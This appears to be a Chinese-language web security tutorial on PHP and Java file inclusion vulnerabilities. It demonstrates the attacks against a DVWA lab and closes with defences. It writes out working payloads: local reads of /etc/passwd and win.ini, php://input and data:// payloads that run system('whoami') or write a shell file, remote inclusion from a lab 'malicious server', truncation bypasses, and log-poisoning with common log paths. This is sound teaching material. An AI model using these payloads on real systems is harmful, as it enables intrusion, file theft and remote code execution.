《Web安全》02. 文件包含漏洞
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《软件工具录》。
1:漏洞简介
文件包含漏洞几乎只存在于 PHP。
对于 Java 的文件包含来说,造成的危害只有文件读取或下载,一般情况下无法进行命令执行或代码执行。
- 因为一般情况下 Java 对于文件的包含并不能将非 jsp 文件当成 Java 代码去执行
- 而如果存在 jsp 文件是一句话木马文件,可以直接去访问利用,并不需要多此一举去包含它来使用
- 除非在某些特殊场景下,如某些目录权限不够,可以尝试利用包含来绕过(理论上)
1.1:漏洞原理
文件包含漏洞:如果动态包含的文件路径参数用户可控,攻击者可以操纵该路径,试图包含任意文件并解析执行。
文件包含:允许程序在执行过程中动态引入其他文件的内容,可提高代码的可维护性、可复用性和组织性。
- 例如:将经常重复使用的函数或特定的页面写到单个文件中,需要使用的时候直接包含此文件即可
1.2:危害
漏洞危害:
- 读取敏感文件信息
- 远程包含 webshell,执行任意代码,或者进行内网探测
- 配合文件上传,执行任意代码
- 配合伪协议,进行文件读取、代码执行或内网探测
1.3:利用条件
- 无版本限制
- 文件包含路径参数可被攻击者操控且过滤不严格
- 相关配置没有对可包含的路径进行限制
1.4:相关底层源码
Java:jsp 静态包含
1 | <%@ include file="test.jsp" %> |
Java:jsp 动态包含
1 | <!-- 使用 JSTL(JavaServer Pages Standard Tag Library)中的 <c:import> 标签,从外部 URL 或其他资源动态加载内容 --> |
1 | <!-- <jsp:include> 标签用来在请求时动态加载页面 --> |
PHP:require
- 找不到被包含的文件时会产生致命错误,并停止脚本运行
PHP:require_once
- 如果文件已经被包含,则不会再次包含
PHP:include
- 找不到被包含的文件时产生警告,脚本将继续运行
PHP:include_once
1 | include $file_to_include |
2:注入点
注入点正常情况下是用来提供动态文件包含的功能。
常见注入点:
- 在实现代码复用时,可能使用动态文件包含
- 在需要进行热更新的情况下,可能使用动态文件包含
- 一些框架代码会引入动态文件包含功能
- 从 URL 上观察关键词,与文件相关的字眼,都可能存在文件包含漏洞
3:漏洞类型
文件包含漏洞分为:
- 本地文件包含(Local File Include,LFI)
- 远程文件包含(Remote File Include,RFI)
4:验证 & 利用
4.1:漏洞验证
判断方式:
- 包含一个系统本地文件进行测试
- 包含一个远程文件进行测试
若包含的文件被成功读取或运行,则漏洞存在。
对于 Windows 系统,可以尝试本地包含以下文件进行测试:
C:\Windows\win.ini
C:/Windows/win.ini
C:\Windows\System32\drivers\etc\hosts
../../index.php
../../config.php
对于 Linux 系统,可以尝试本地包含以下文件进行测试:
/etc/passwd
/etc/hostname
../../index.php
../../config.php
4.2:本地文件包含
适用场景:
- 代码未对可以包含的路径进行限制或限制不严格
- 具有可读权限
漏洞利用:
- 借助回溯符【
../
】读取敏感信息
漏洞利用 - 方式 2:
- 直接通过绝对路径包含敏感文件
漏洞利用 - 方式 3:
- 通过
file://
协议包含敏感文件进行读取
漏洞利用 - 方式 4:
- 配合文件上传,包含图片马等 Webshell 进行利用
4.2.1:示例(读取文件)
以 DVWA File-Inclusion(low)为例。
- 正常提供的功能如下:
?page=./file1.php
- 通过绝对路径包含敏感文件进行读取:
?page=C:/Windows/win.ini
4.2.2:示例(读取文件)
以 DVWA File-Inclusion(low)为例。
- 通过
file://
协议包含敏感文件进行读取
?page=file://C:/Windows/win.ini
4.2.3:示例(执行代码)
以 DVWA File-Inclusion(low)为例。
- 配合文件上传等操作进行代码执行:
?page=../../../../../../../phpinfo.txt
4.3:远程文件包含
适用场景:
- php.ini 文件中 allow_url_include = On
- php.ini 文件中 allow_url_fopen = On
漏洞利用:
- 将准备包含的文件放置到一台服务器,并测试是否能访问
- 直接通过 URL 远程包含即可
4.3.1:示例
以 DVWA File-Inclusion(low)为例。
实验环境:
IP | 主机 |
---|---|
192.168.8.222 | Win 7(目标机器) |
192.168.8.1 | Win 10(恶意服务器) |
远程包含文件实现代码执行:
?page=http://192.168.8.1:8000/phpinfo.txt
4.4:伪协议【php://input】
适用场景:
- 代码过滤不严格
- 伪协议
php://
未被过滤 - php.ini 文件中 allow_url_include = On
漏洞利用:
- URL 指定伪协议
php://input
,同时 POST 传递 PHP 代码,进行代码执行
4.4.1:示例(写文件)
以 DVWA File-Inclusion(low)为例。
- URL 指定伪协议
?page=php://input
- POST 传递数据
<?php fputs(fopen("shell.php","w"), "<?php phpinfo();?>") ?>
4.4.2:示例(执行命令)
以 DVWA File-Inclusion(low)为例。
- URL 指定伪协议
?page=php://input
- POST 传递数据
<?php system('whoami');?>
4.5:伪协议【php://filter】
适用场景:
- 代码过滤不严格
- 伪协议
php://
未被过滤
漏洞利用:
- 传递绝对路径、相对路径,通过
php://filter/read/resource=
读取明文形式的文件内容(可能造成报错告警)
漏洞利用 - 方式 2:
- 传递绝对路径、相对路径,通过
php://filter/read=convert.base64-encode/resource=
读取 Base64 形式的文件内容
漏洞利用 - 方式 3:
- 传递网络地址(http|https|ftp),通过
php://filter/read=convert.base64-encode/resource=
读取 Base64 形式的远程文件(内网探测)
4.5.1:示例
以 DVWA File-Inclusion(low)为例。
- 提供绝对路径读取文件
?page=php://filter/read=convert.base64-encode/resource=C:/Windows/win.ini
4.5.2:示例 2
以 DVWA File-Inclusion(low)为例。
- 通过网址读取文件
?page=php://filter/read=convert.base64-encode/resource=http://192.168.8.1:8000/phpinfo.txt
4.6:伪协议【data://】
适用场景:
- 代码过滤不严格
- 伪协议
data://
未被过滤 - php.ini 文件中 allow_url_include = On
漏洞利用:
- 通过
data://text/plain,
明文传递 PHP 代码,进行代码执行
漏洞利用 - 方式 2:
- 通过
data://text/plain;base64,
以 Base64 形式传递 PHP 代码,进行代码执行
4.6.1:示例
以 DVWA File-Inclusion(low)为例。
- 通过
data://text/plain,
明文传递 PHP 代码,进行代码执行
?page=data:text/plain,<?php system(whoami);?>
4.6.2:示例 2
以 DVWA File-Inclusion(low)为例。
- 通过
data://text/plain;base64,
以 Base64 形式传递 PHP 代码,进行代码执行
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk7Pz4=
4.7:伪协议【zip://】
适用场景:
- 目标环境支持 zip 流
- 伪协议
zip://
未被过滤 - 能获取压缩包的路径
漏洞利用:
- 上传一个恶意代码的 zip 压缩文件,通过
zip://<zip文件路径>#<内部文件路径>
进行代码执行
4.7.1:示例
以 DVWA File-Inclusion(low)为例。
- 压缩包 test.zip 内的文件路径为
test/phpinfo.txt
- 通过
zip://<zip文件路径>#<内部文件路径>
进行代码执行
?page=zip://D:/T/test.zip%23test/phpinfo.txt
5:防护绕过
5.1:绕过前缀指定
如果代码中明确指定了文件前缀:
1 |
|
绕过方法:
- 利用回溯符【
../
】进行目录遍历
对于 Windows 系统,如果指定的目录在某个盘符下,则只能遍历该盘符下的目录,无法跨盘符
5.2:绕过后缀指定
如果代码中明确指定了文件后缀(或者其他类似情况):
1 |
|
绕过方法:
%00
截断- 路径长度截断
- 点号【
.
】截断 - 问号【
?
】绕过 - 井号【
#
】绕过 - 伪协议绕过(方法见【4:验证 & 利用】)
5.2.1:%00 截断(待验证)
适用场景:
- PHP 版本小于 5.3.4
- php.ini 中 magic_quotes_gpc = Off
- 没有使用转义函数
绕过方法:
- 在传递的文件名后加上【
%00
】
示例:
1 | ?path=welcome |
5.2.2:路径长度截断(待验证)
原理:对于文件和目录名,如果数据超过最大值后超出的数据会被直接丢弃掉。
适用场景:
- PHP 版本小于 5.2.8
绕过方法:
- 在传递的文件名后不断的重复添加【
./
】
示例:
1 | ?path=phpinfo.txt/./././././././././././././././././././ 后面省略 |
5.2.3:【.】截断(待验证)
原理同【5.2.2:路径长度截断】。
适用场景:
- PHP 版本小于 5.2.8
- 操作系统为 Windows
绕过方法:
- 在传递的文件名后不断的重复添加【
.
】
示例:
1 | ?path=phpinfo.txt................................ 后面省略 |
5.2.4:【?】绕过
原理:URL【?
】后面的内容被当作请求的参数,从而使用问号来实现伪截断。
适用场景:
- 对 HTTP/HTTPS 协议的远程文件包含有效
绕过方法:
- 在传递的 URL 最后添加【
?
】
5.2.4.1:示例
以 DVWA File-Inclusion(low)为例。
?page=http://192.168.8.1:8000/phpinfo.txt?
5.2.5:【#】绕过
原理:URL【#
】为片段标识符,后面的内容被当作一个位置,从而可以用来实现伪截断。
适用场景:
- 对 HTTP/HTTPS 协议的远程文件包含有效
绕过方法:
- 在传递的 URL 最后添加【
#
】
5.2.5.1:示例
以 DVWA File-Inclusion(low)为例。
?page=http://192.168.8.1:8000/phpinfo.txt#
6:防范方法
- 尽量不使用动态包含
- 对于 php.ini 配置文件,将 allow_url_include 和 allow_url_fopen 配置为 Off,或者最小权限化
- 严格检查地址,不允许出现目录跳转符
- 可以使用白名单,对可以包含的文件进行限制
7:补充知识
7.1:伪协议介绍
封装协议(Stream Wrappers),也被称为伪协议(Pseudo-protocols)。
封装协议是开发语言提供的一种机制,允许通过统一的接口访问不同类型的资源(例如文件系统、网络资源、压缩流、数据流等)。
为什么称作伪协议:
- 并非真正的底层网络通信协议,而是通过抽象机制实现,统一资源访问的接口,模拟了协议的功能
- 使用时的形式类似于 URL,使其看起来像一种协议,但实际上底层逻辑由开发语言实现,具体操作会调用开发语言内置的扩展或函数
7.1.1:真实协议与伪协议对比
特性 | 真实协议(如 HTTP) | 伪协议(如 PHP 封装协议) |
---|---|---|
定义 | 国际标准组织定义,跨语言跨平台 | PHP 自定义实现 |
使用场景 | 网络通信或操作系统底层功能 | PHP 应用中的抽象访问 |
实现方式 | 操作系统内核或网络堆栈支持 | PHP 内部函数或扩展实现 |
扩展性 | 固定协议规则 | 需要通过 stream_wrapper_register 扩展 |
典型示例 | HTTP、FTP、SSH 等 | php:// 、phar:// 等 |
7.1.2:PHP 伪协议介绍
php://
:访问 PHP 的输入/输出流以及其他特殊流。
常见用法:
php://input
:读取原始 POST 数据php://output
:只写流,直接写入 PHP 输出缓冲区php://filter
:在文件流的读取或写入过程中,动态应用过滤器。常用于编码转换或特殊处理php://memory
:创建内存流php://temp
:创建临时文件流
1 | $rawData = file_get_contents('php://input'); |
zlib://
:访问压缩流,用于读取或写入 gzip 压缩数据。
示例:
1 | file_get_contents('zlib://example.gz'); |
data://
:通过内联数据访问资源(符合 RFC 2397 标准)。
示例:
1 | file_get_contents('data:text/plain;base64,SGVsbG8gd29ybGQ='); |
zip://
:用于直接访问 .zip 压缩文件中的内容(只支持读取操作,不能修改或写入压缩包)。
语法:zip://<zip文件路径>#<内部文件路径>
示例:
1 | // 读取 archive.zip 中 file.txt 的内容 |
glob://
:查找匹配的文件路径模式(实际上是 glob()
函数的包装)。
示例:
1 | foreach (glob('glob://*.php') as $file) { |
phar://
:访问 PHP 归档(PHAR)文件中的内容。
示例:
1 | file_get_contents('phar://archive.phar/file.txt'); |
7.2:日志文件包含利用
日志会记录客户端请求及服务器响应的信息,几乎所有的网站都配置了日志功能。
因此,攻击者可以通过构造访问,使 Web 日志插入 PHP 代码,然后通过文件包含漏洞来包含日志文件,执行包含在日志中的 PHP 代码。
示例:
- 请求
http://example.com/<?php phpinfo(); ?>
时,<?php phpinfo(); ?>
也会被记录在日志里 - 也可以将代码插入到 User-Agent 头里
- 之后通过路径包含日志文件即可利用
注意:
- 请求的信息有可能被 URL 编码之后记录到日志,可以通过 BurpSuite 发送请求包来防止被编码
- 如果网站访问量很大,日志文件可能会非常大,如果包含很大的文件时,PHP 进程可能会卡死
- 一般网站会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功
7.2.1:补充
Apache 可能的日志路径:
1 | /etc/httpd/logs/access_log |
IIS 可能的日志路径:
1 | C:\WINDOWS\system32\Logfiles |
Nginx 可能的日志路径:
1 | /usr/local/nginx/logs |
8:其他
8.1:相关平台
DVWA:
8.2:参考资料
《【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍》:
https://www.cnpanda.net/codeaudit/1037.html
《面试中碰到的坑之包含漏洞专题》:
https://cloud.tencent.com/developer/article/1144850
《文件包含漏洞学习小结》:
https://www.freebuf.com/articles/web/291633.html
《关于文件包含漏洞的一些知识点》:
https://xz.aliyun.com/t/12506
《默认日志和配置文件路径》:
https://www.cnblogs.com/my1e3/p/5853703.html
《文件包含漏洞与文件包含Bypass漏洞基础》:
https://cloud.tencent.com/developer/article/1597432
《php文件包含漏洞》:
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
半世浮萍随逝水,一宵冷雨葬名花。
——《山花子》(清)纳兰性德